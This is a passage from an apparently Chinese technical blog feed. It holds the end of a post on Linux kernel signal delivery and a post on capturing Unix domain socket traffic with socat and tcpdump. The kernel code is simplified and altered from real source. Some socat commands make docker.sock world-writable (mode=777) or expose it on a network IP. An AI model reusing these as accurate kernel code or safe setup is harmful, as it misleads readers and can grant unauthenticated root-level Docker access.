struct sigqueue *__sigqueue_alloc(int sig, struct task_struct *t, gfp_t flags, int override_rlimit)
{
	struct user_struct *user = get_uid(__task_cred(t)-&amp;gt;user);
	atomic_inc(&amp;amp;user-&amp;gt;sigpending);;

	struct sigqueue *q = kmem_cache_alloc(sigqueue_cachep, flags);
	INIT_LIST_HEAD(&amp;amp;q-&amp;gt;list);
	q-&amp;gt;flags = 0;
	q-&amp;gt;user = user;

	return q;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-4-complete-signal&quot;&gt;3.4 complete_signal&lt;&#x2F;h3&gt;
&lt;p&gt;如果向线程组发送信号，那么需要在线程组中查找一个没有屏蔽信号的线程， 唤醒它，让它处理信号。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;static void complete_signal(int sig, struct task_struct *p, int group)
{
	struct signal_struct *signal = p-&amp;gt;signal;
	struct task_struct *t;

	&amp;#x2F;* Now find a thread we can wake up to take the signal off the queue.*&amp;#x2F;
	t = find_wants_signal_task((sig, p));

	&amp;#x2F;* Found a killable thread.  If the signal will be fatal,
	 * then start taking the whole group down immediately. *&amp;#x2F;
	if (sig_killable(p, sig)) {
		task_clear_jobctl_pending(t, JOBCTL_PENDING_MASK);
		&amp;#x2F;&amp;#x2F;加入到pending signal
		sigaddset(&amp;amp;t-&amp;gt;pending.signal, SIGKILL);
		&amp;#x2F;&amp;#x2F;唤醒task
		signal_wake_up(t, 1);
		return;
	}

	&amp;#x2F;*
	 * The signal is already in the shared-pending queue.
	 * Tell the chosen thread to wake up and dequeue it.
	 *&amp;#x2F;
	signal_wake_up(t, sig == SIGKILL);
	return;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-nei-he-hong-fa-xin-hao-chu-li-han-shu&quot;&gt;4 内核触发信号处理函数&lt;&#x2F;h2&gt;
&lt;p&gt;为了尽快让信号得到处理，Linux把信号处理过程放置在进程从内核态返回到用户态前，也就是在 ret_to_user 处：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;ret_to_user:
	&amp;#x2F;* Make sure need_resched and sigpending don&amp;#x27;t change between
		sampling and the rti.  *&amp;#x2F;
	lda	$16, 7
	call_pal PAL_swpipl
	ldl	$17, TI_FLAGS($8)
	and	$17, _TIF_WORK_MASK, $2
	bne	$2, work_pending
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;work_pending&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;work_pending:
	mov	x0, sp				&amp;#x2F;&amp;#x2F; &amp;#x27;regs&amp;#x27;
	bl	do_notify_resume
#ifdef CONFIG_TRACE_IRQFLAGS
	bl	trace_hardirqs_on		&amp;#x2F;&amp;#x2F; enabled while in userspace
#endif
	ldr	x1, [tsk, #TSK_TI_FLAGS]	&amp;#x2F;&amp;#x2F; re-check for single-step
	b	finish_ret_to_user
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-1-do-notify-resume&quot;&gt;4. 1 do_notify_resume&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;void do_notify_resume(struct pt_regs *regs, unsigned int thread_flags)
{
	do {
		if (thread_flags &amp;amp; _TIF_NEED_RESCHED) {
			&amp;#x2F;* Unmask Debug and SError for the next task *&amp;#x2F;
			local_daif_restore(DAIF_PROCCTX_NOIRQ);

			schedule();
		} else {
			local_daif_restore(DAIF_PROCCTX);

			if (thread_flags &amp;amp; _TIF_UPROBE)
				uprobe_notify_resume(regs);

			if (thread_flags &amp;amp; _TIF_SIGPENDING)
				do_signal(regs);

			if (thread_flags &amp;amp; _TIF_NOTIFY_RESUME) {
				clear_thread_flag(TIF_NOTIFY_RESUME);
				tracehook_notify_resume(regs);
			}

			if (thread_flags &amp;amp; _TIF_FOREIGN_FPSTATE)
				fpsimd_restore_current_state();
		}

		local_daif_mask();
		thread_flags = READ_ONCE(current_thread_info()-&amp;gt;flags);
	} while (thread_flags &amp;amp; _TIF_WORK_MASK);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-2-do-signal&quot;&gt;4.2 do_signal&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;static void do_signal(struct pt_regs *regs)
{
	if (get_signal(&amp;amp;ksig)) {
		&amp;#x2F;*
		 * Depending on the signal settings, we may need to revert the
		 * decision to restart the system call, but skip this if a
		 * debugger has chosen to restart at a different PC.
		 *&amp;#x2F;
		if (regs-&amp;gt;pc == restart_addr &amp;amp;&amp;amp;
		    (retval == -ERESTARTNOHAND ||
		     retval == -ERESTART_RESTARTBLOCK ||
		     (retval == -ERESTARTSYS &amp;amp;&amp;amp;
		      !(ksig.ka.sa.sa_flags &amp;amp; SA_RESTART)))) {
			regs-&amp;gt;regs[0] = -EINTR;
			regs-&amp;gt;pc = continue_addr;
		}

		handle_signal(&amp;amp;ksig, regs);
		return;
	}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-3-get-signal&quot;&gt;4.3 get_signal&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;int get_signal(struct ksignal *ksig)
{
	struct sighand_struct *sighand = current-&amp;gt;sighand;
	struct signal_struct *signal = current-&amp;gt;signal;
	int signr;

	for (;;) {
		struct k_sigaction *ka;
		&amp;#x2F;&amp;#x2F;获取到进程接收队列中的一个信号，如果没有信号，那么就跳出循环
		signr = dequeue_signal(current, &amp;amp;current-&amp;gt;blocked, &amp;amp;ksig-&amp;gt;info);
		ka = &amp;amp;sighand-&amp;gt;action[signr-1];
		if (ka-&amp;gt;sa.sa_handler == SIG_IGN) &amp;#x2F;* Do nothing.  *&amp;#x2F;
			continue;
		if (ka-&amp;gt;sa.sa_handler != SIG_DFL) {
			&amp;#x2F;* Run the handler.  *&amp;#x2F;
			ksig-&amp;gt;ka = *ka;
			break; &amp;#x2F;* will return non-zero &amp;quot;signr&amp;quot; value *&amp;#x2F;
		}
		&amp;#x2F;* Now we are doing the default action for this signal.*&amp;#x2F;
		if (sig_kernel_ignore(signr)) &amp;#x2F;* Default is nothing. *&amp;#x2F;
			continue;

		if (sig_kernel_stop(signr)) {
			continue;
		}

		&amp;#x2F;*Anything else is fatal, maybe with a core dump.*&amp;#x2F;
		current-&amp;gt;flags |= PF_SIGNALED;
		if (sig_kernel_coredump(signr))
			do_coredump(&amp;amp;ksig-&amp;gt;info);

		&amp;#x2F;* Death signals, no core dump.*&amp;#x2F;
		do_group_exit(ksig-&amp;gt;info.si_signo);
		&amp;#x2F;* NOTREACHED *&amp;#x2F;
	}
	ksig-&amp;gt;sig = signr;
	return ksig-&amp;gt;sig &amp;gt; 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-4-handle-signal&quot;&gt;4.4 handle_signal&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;* OK, we&amp;#x27;re invoking a handler *&amp;#x2F;
static void handle_signal(struct ksignal *ksig, struct pt_regs *regs)
{
	struct task_struct *tsk = current;
	sigset_t *oldset = sigmask_to_save();
	int usig = ksig-&amp;gt;sig;
	int ret;

	&amp;#x2F;* Set up the stack frame *&amp;#x2F;
	ret = setup_rt_frame(usig, ksig, oldset, regs);

	&amp;#x2F;* Check that the resulting registers are actually sane. *&amp;#x2F;
	ret |= !valid_user_regs(&amp;amp;regs-&amp;gt;user_regs, current);

	&amp;#x2F;* Fast forward the stepping logic so we step into the signal handler. *&amp;#x2F;
	if (!ret)
		user_fastforward_single_step(tsk);

	signal_setup_done(ret, ksig, 0);
}

void signal_setup_done(int failed, struct ksignal *ksig, int stepping)
{
	if (failed)
		force_sigsegv(ksig-&amp;gt;sig, current);
	else
		signal_delivered(ksig, stepping);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;setup_frame() 函数来构建这个过程的运行环境（其实就是修改内核栈和用户栈相应的数据来完成）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;static int setup_rt_frame(int usig, struct ksignal *ksig, sigset_t *set,
			  struct pt_regs *regs)
{
	struct rt_sigframe_user_layout user;
	struct rt_sigframe __user *frame;
	int err = 0;

	fpsimd_signal_preserve_current_state();

	frame = user.sigframe;

	__put_user_error(0, &amp;amp;frame-&amp;gt;uc.uc_flags, err);
	__put_user_error(NULL, &amp;amp;frame-&amp;gt;uc.uc_link, err);

	err |= __save_altstack(&amp;amp;frame-&amp;gt;uc.uc_stack, regs-&amp;gt;sp);
	err |= setup_sigframe(&amp;amp;user, regs, set);
	if (err == 0) {
		setup_return(regs, &amp;amp;ksig-&amp;gt;ka, &amp;amp;user, usig);
		if (ksig-&amp;gt;ka.sa.sa_flags &amp;amp; SA_SIGINFO) {
			err |= copy_siginfo_to_user(&amp;amp;frame-&amp;gt;info, &amp;amp;ksig-&amp;gt;info);
			regs-&amp;gt;regs[1] = (unsigned long)&amp;amp;frame-&amp;gt;info;
			regs-&amp;gt;regs[2] = (unsigned long)&amp;amp;frame-&amp;gt;uc;
		}
	}

	return err;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在可以在内核态返回到用户态时自动执行信号处理程序了，但是当信号处理程序执行完怎么返回到内核态呢？Linux的做法就是在用户态栈空间构建一个 Frame（帧）（我也不知道为什么要这样叫），构建这个帧的目的就是为了执行完信号处理程序后返回到内核态，并恢复原来内核栈的内容。&lt;&#x2F;p&gt;
&lt;p&gt;返回到内核态的方式是调用一个名为 sigreturn() 系统调用，然后再 sigreturn() 中恢复原来内核栈的内容。&lt;&#x2F;p&gt;
&lt;p&gt;ref:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;674728372&quot;&gt;Tiffany的世界：【进程通信】信号处理机制一&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;mp.weixin.qq.com&#x2F;s%3F__biz%3DMzI3NzA5MzUxNA%3D%3D%26mid%3D2664610301%26idx%3D1%26sn%3D4f989c36a99e29af4e811b30d5bf7a19%26chksm%3Df04d9418c73a1d0e965bdb58a09a1927b5356938257cf717eeec6f95b81b696f07817bf59c42%26scene%3D126%26sessionid%3D1627865727%26key%3D756768bae9c758c2f556b43f9cebe0d3f634a09e6caac46d29ac0192bec7c2446c1527b7bf9dce0eb1794100fedca5fe2ea6c1a4f762b0b457cf96f713f8da842c251f1e4bcb47333138303b39ccb1c148c217c34ccca9a5834654528d147bb39fc770be1aada712231965556386be8c54aa2e554b329ed2346111f4aeecda58%26ascene%3D1%26uin%3DODQzNTg3ODY0%26devicetype%3DWindows%2B10%2Bx64%26version%3D63030073%26lang%3Den%26exportkey%3DAYSy878zbJjPjx0y%252FsXBEiE%253D%26pass_ticket%3DyjnW9f9rgTAJ7R1wut3ERzXHFpUlb4hvaXa62zPRq3oKFscUykm6u7rbfCZQ076C%26wx_header%3D0%26fontgear%3D2&quot;&gt;一文完全看懂 | Linux 信号处理原理与实现&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>通过tcpdump对Unix Domain Socket 进行抓包解析</title>
        <published>2023-12-27T00:00:00+00:00</published>
        <updated>2023-12-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/通过tcpdump对unix-domain-socket-进行抓包解析/"/>
        <id>https://vercel.juzhong.asia/obsidian/通过tcpdump对unix-domain-socket-进行抓包解析/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/通过tcpdump对unix-domain-socket-进行抓包解析/">&lt;h1 id=&quot;tong-guo-tcpdumpdui-unix-domain-socket-jin-xing-zhua-bao-jie-xi&quot;&gt;通过tcpdump对Unix Domain Socket 进行抓包解析&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;bei-jing-jie-shao&quot;&gt;背景介绍&lt;&#x2F;h2&gt;
&lt;p&gt;大多时候我们可以通过tcpdump对网络抓包分析请求、响应数据来排查问题。但是如果程序是通过Unix Domain Socket方式来访问的那么tcpdump就看不到Unix Domain Socket里面具体流淌的内容了，本文希望找到一种方法达到如同抓包查看网卡内容一样来抓包查看Unix Domain Socket上具体的请求、响应数据。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;socatgong-ju&quot;&gt;socat工具&lt;&#x2F;h2&gt;
&lt;p&gt;类似nc，但是是个超级增强版的nc，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;payloads.online&#x2F;tools&#x2F;socat&quot;&gt;主要用作两个独立数据通道之间的双向数据传输的继电器（或者说代理）&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;基本原理，通过socat在Unix-Socket和TCP&#x2F;UDP port之间建立一个代理，然后对代理上的端口进行抓包。&lt;&#x2F;p&gt;
&lt;p&gt;以下案例通过对 docker.sock 抓包来分析方案。大多时候我们都可以通过curl 来将http post请求发送到docker deamon所监听的端口，这些请求和响应都可以通过tcpdump抓包分析得到。但是我们通过 docker ps &#x2F; docker run 将命令发给本地 docker-deamon的时候就是将请求翻译成 http请求发给了 docker.sock, 这个时候如果需要排查问题就没法用tcpdump来分析http内容了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tong-guo-socat-qi-dong-yi-ge-tcpduan-kou-lai-dai-li-unix-domain-socket&quot;&gt;通过socat 启动一个tcp端口来代理Unix Domain Socket&lt;&#x2F;h2&gt;
&lt;p&gt;启动本地8080端口，将docker.sock映射到8080端口,8080收到的东西都会转给docker.sock，docker.sock收到的东西都通过抓8080的包看到,但是要求应用访问8080而不是docker.sock。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;socat -d -d TCP-LISTEN:8080,fork,bind=127.0.0.1 UNIX:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;缺点：需要修改客户端的访问方式&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo curl --unix-socket &amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock http:&amp;#x2F;&amp;#x2F;localhost&amp;#x2F;images&amp;#x2F;json
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的访问方式对8080抓包还是抓不到，因为绕过了我们的代理。&lt;&#x2F;p&gt;
&lt;p&gt;只能通过如下方式访问8080端口，然后请求通过socat代理转发给docker.sock，整个结果跟访问–unix-socket是一样的，这个时候通过8080端口抓包能看到–unix-socket的工作数据&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo curl http:&amp;#x2F;&amp;#x2F;localhost:8080&amp;#x2F;images&amp;#x2F;json
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tong-guo-socatqi-dong-ling-wai-yi-ge-unix-domain-socketdai-li-dan-shi-bu-shi-tcpdumpzhua-bao&quot;&gt;通过socat启动另外一个Unix Domain Socket代理，但是不是tcpdump抓包&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;sudo mv &amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock &amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock.original
sudo socat -t100 -d -x -v UNIX-LISTEN:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock,mode=777,reuseaddr,fork UNIX-CONNECT:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock.original
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;优点：客户端访问方式不变，还是直接访问–unix-socket
缺点：输出的数据不如tcpdump方便，也就不能用wireshark来分析了&lt;&#x2F;p&gt;
&lt;p&gt;本质也还是socat代理，只是不是用的一个tcp端口来代理了，而是通过一个unix-socet代理了另外一个unix-socket，直接在代理上输出所有收发的数据&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wan-mei-de-ban-fa-ke-hu-duan-bu-yong-gai-fang-wen-fang-shi-tcpdumpye-neng-zhua-dao-shu-ju&quot;&gt;完美的办法，客户端不用改访问方式，tcpdump也能抓到数据&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;sudo mv &amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock &amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock.original
sudo socat TCP-LISTEN:8089,reuseaddr,fork UNIX-CONNECT:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock.original
sudo socat UNIX-LISTEN:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock,fork TCP-CONNECT:127.0.0.1:8089
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后客户端还是直接访问–unix-socket
sudo curl –unix-socket &#x2F;var&#x2F;run&#x2F;docker.sock &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;localhost&#x2F;images&#x2F;json&quot;&gt;http:&#x2F;&#x2F;localhost&#x2F;images&#x2F;json&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这个时候通过tcpdump在8089端口上就能抓到数据了&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo tcpdump -i lo -netvv port 8089
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实际是结合前面两种方法，做了两次代理，先将socket映射到8089端口上，然后再将8089端口映射到一个新的socket上，最后client访问这个新的socket。&lt;&#x2F;p&gt;
&lt;p&gt;实际流程如下： client -&amp;gt; 新socket -&amp;gt; 8089 -&amp;gt; 原来的socket  这个时候对8089可以任意抓包了&lt;&#x2F;p&gt;
&lt;p&gt;参考来源：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mivehind.net&#x2F;2018&#x2F;04&#x2F;20&#x2F;sniffing-unix-domain-sockets&#x2F;&quot;&gt;https:&#x2F;&#x2F;mivehind.net&#x2F;2018&#x2F;04&#x2F;20&#x2F;sniffing-unix-domain-sockets&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-xie-socatde-qi-ta-yong-fa&quot;&gt;一些socat的其它用法&lt;&#x2F;h2&gt;
&lt;p&gt;把监听在远程主机12.34.56.78上的mysql服务Unix Domain Socket映射到本地的&#x2F;var&#x2F;run&#x2F;mysqld.temp.sock, 这样就可以用mysql -S &#x2F;var&#x2F;run&#x2F;mysqld&#x2F;mysqld.sock来访问远程主机的mysql服务了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;socat &amp;quot;UNIX-LISTEN:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;mysqld.temp.sock,reuseaddr,fork&amp;quot; EXEC:&amp;quot;ssh root@12.34.56.78 socat STDIO UNIX-CONNECT:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;mysqld&amp;#x2F;mysqld.sock&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;还可以用下面的命令把12.34.56.78上的mysql映射到本地的5500端口，然后使用mysql -p 5500命令访问。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;socat TCP-LISTEN:5500 EXEC:&amp;#x27;ssh root@12.34.56.78 &amp;quot;socat STDIO UNIX-CONNECT:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;mysqld&amp;#x2F;mysqld.sock&amp;quot;&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;把12.34.56.78的udp 161端口映射到本地的1611端口&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;socat udp-listen:1611 system:&amp;#x27;ssh root@12.34.56.78 &amp;quot;socat stdio udp-connect:remotetarget:161&amp;quot;&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过socat启动server，带有各种参数，比nc更灵活&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Server: socat -dd tcp-listen:2000,keepalive,keepidle=10,keepcnt=2,reuseaddr,keepintvl=1 -
Client: socat -dd - tcp:localhost:2000,keepalive,keepidle=10,keepcnt=2,keepintvl=1

Drop Connection (Unplug Cable, Shut down Link(WiFi&amp;#x2F;Interface)): sudo iptables -A INPUT -p tcp --dport 2000 -j DROP
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;启动本地8080端口，将docker.sock映射到8080端口(docker.sock收到的东西都通过抓8080的包看到)。 8080收到的东西都会转给docker.sock&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;socat -d -d TCP-LISTEN:8080,fork,bind=99.13.252.208 UNIX:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yong-socatyuan-cheng-unix-domain-socketying-she&quot;&gt;用socat远程Unix Domain Socket映射&lt;&#x2F;h3&gt;
&lt;p&gt;除了将我们本地服务通过端口映射提供给其它人访问，我们还可以通过端口转发玩一些更high的。比如下面这条命令，它把监听在远程主机12.34.56.78上的mysql服务Unix Domain Socket映射到本地的&#x2F;var&#x2F;run&#x2F;mysqld.temp.sock，这样，小明就可以用mysql -S &#x2F;var&#x2F;run&#x2F;mysqld&#x2F;mysqld.temp.sock来访问远程主机的mysql服务了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;socat &amp;quot;UNIX-LISTEN:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;mysqld.temp.sock,reuseaddr,fork&amp;quot; EXEC:&amp;quot;ssh root@12.34.56.78 socat STDIO UNIX-CONNECT\:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;mysqld&amp;#x2F;mysqld.sock&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当然，小明如果不喜欢本地Unix Domain Socket，他还可以用下面的命令把12.34.56.78上的mysql映射到本地的5500端口，然后使用mysql -p 5500命令访问。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;socat TCP-LISTEN:5500 EXEC:&amp;#x27;ssh root@12.34.56.78 &amp;quot;socat STDIO UNIX-CONNECT:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;mysqld&amp;#x2F;mysqld.sock&amp;quot;&amp;#x27;

# 把监听在远程主机12.34.56.78上的mysql服务Unix Domain Socket映射到本地的&amp;#x2F;var&amp;#x2F;run&amp;#x2F;mysqld.temp.sock, 这样就可以用mysql -S &amp;#x2F;var&amp;#x2F;run&amp;#x2F;mysqld&amp;#x2F;mysqld.sock来访问远程主机的mysql服务了。
socat &amp;quot;UNIX-LISTEN:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;mysqld.temp.sock,reuseaddr,fork&amp;quot; EXEC:&amp;quot;ssh root@12.34.56.78 socat STDIO UNIX-CONNECT:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;mysqld&amp;#x2F;mysqld.sock&amp;quot;
# 还可以用下面的命令把12.34.56.78上的mysql映射到本地
# 的5500端口，然后使用mysql -p 5500命令访问。
socat TCP-LISTEN:5500 EXEC:&amp;#x27;ssh root@12.34.56.78 &amp;quot;socat STDIO UNIX-CONNECT:&amp;#x2F;var&amp;#x2F;run&amp;#x2F;mysqld&amp;#x2F;mysqld.sock&amp;quot;&amp;#x27;
# 把12.34.56.78的udp 161端口映射到本地的1611端口：
socat udp-listen:1611 system:&amp;#x27;ssh root@12.34.56.78 &amp;quot;socat stdio udp-connect:remotetarget:161&amp;quot;&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;socatqi-dong-wang-luo-fu-wu&quot;&gt;socat启动网络服务&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;在一个窗口中启动 &lt;code&gt;socat&lt;&#x2F;code&gt; 作为服务端，监听在 1000 端口：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;div&gt;
&lt;pre&gt;&lt;p&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;&#x2F;span&gt;&lt;span class=&quot;bash&quot;&gt; start a TCP listener at port 1000, and &lt;span class=&quot;built_in&quot;&gt;echo&lt;&#x2F;span&gt; back the received data&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;p&gt;&lt;span class=&quot;meta&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;bash&quot;&gt; sudo socat TCP4-LISTEN:1000,fork &lt;span class=&quot;built_in&quot;&gt;exec&lt;&#x2F;span&gt;:cat&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;div&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;另一个窗口用 &lt;code&gt;nc&lt;&#x2F;code&gt; 作为客户端来访问服务端，建立 socket：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;div&gt;
&lt;pre&gt;&lt;p&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;&#x2F;span&gt;&lt;span class=&quot;bash&quot;&gt; connect to the &lt;span class=&quot;built_in&quot;&gt;local&lt;&#x2F;span&gt; TCP listener at port 1000&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;p&gt;&lt;span class=&quot;meta&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;bash&quot;&gt; nc localhost 1000&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;curl-7-57ban-ben-ke-yi-zhi-jie-fang-wen-unix-socket&quot;&gt;curl 7.57版本可以直接访问 –unix-socket&lt;&#x2F;h2&gt;
&lt;p&gt;7.57之后的版本才支持curl –unix-socket，大大方便了我们的测试&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F;Leave 测试断开一个网络
curl -H &amp;quot;Content-Type: application&amp;#x2F;json&amp;quot; -X POST -d &amp;#x27;{&amp;quot;NetworkID&amp;quot;:&amp;quot;47866b0071e3df7e8053b9c8e499986dfe5c9c4947012db2d963c66ca971ed4b&amp;quot;,&amp;quot;EndpointID&amp;quot;:&amp;quot;3d716436e629701d3ce8650e7a85c133b0ff536aed173c624e4f62a381656862&amp;quot;}&amp;#x27; --unix-socket &amp;#x2F;run&amp;#x2F;docker&amp;#x2F;plugins&amp;#x2F;vlan.sock http:&amp;#x2F;&amp;#x2F;localhost&amp;#x2F;NetworkDriver.Leave

&amp;#x2F;&amp;#x2F;取镜像列表
sudo curl --unix-socket &amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock http:&amp;#x2F;&amp;#x2F;localhost&amp;#x2F;images&amp;#x2F;json

curl 11.239.155.97:2376&amp;#x2F;debug&amp;#x2F;pprof&amp;#x2F;goroutine?debug=2
echo -e &amp;quot;GET &amp;#x2F;debug&amp;#x2F;pprof&amp;#x2F;goroutine?debug=2 HTTP&amp;#x2F;1.1\r\n&amp;quot; | sudo nc -U &amp;#x2F;run&amp;#x2F;docker&amp;#x2F;plugins&amp;#x2F;vlan.sock
echo -e &amp;quot;GET &amp;#x2F;debug&amp;#x2F;pprof&amp;#x2F;goroutine?debug=2 HTTP&amp;#x2F;1.1\r\n&amp;quot; | sudo nc -U &amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock
&amp;#x2F;&amp;#x2F;升级curl到7.57后支持 --unix-socket
sudo curl --unix-socket &amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock http:&amp;#x2F;&amp;#x2F;localh卡路里ost&amp;#x2F;images&amp;#x2F;json
sudo curl --unix-socket &amp;#x2F;run&amp;#x2F;docker&amp;#x2F;plugins&amp;#x2F;vlan.sock http:&amp;#x2F;&amp;#x2F;localhost&amp;#x2F;NetworkDriver.GetCapabilities
&amp;#x2F;&amp;#x2F;Leave
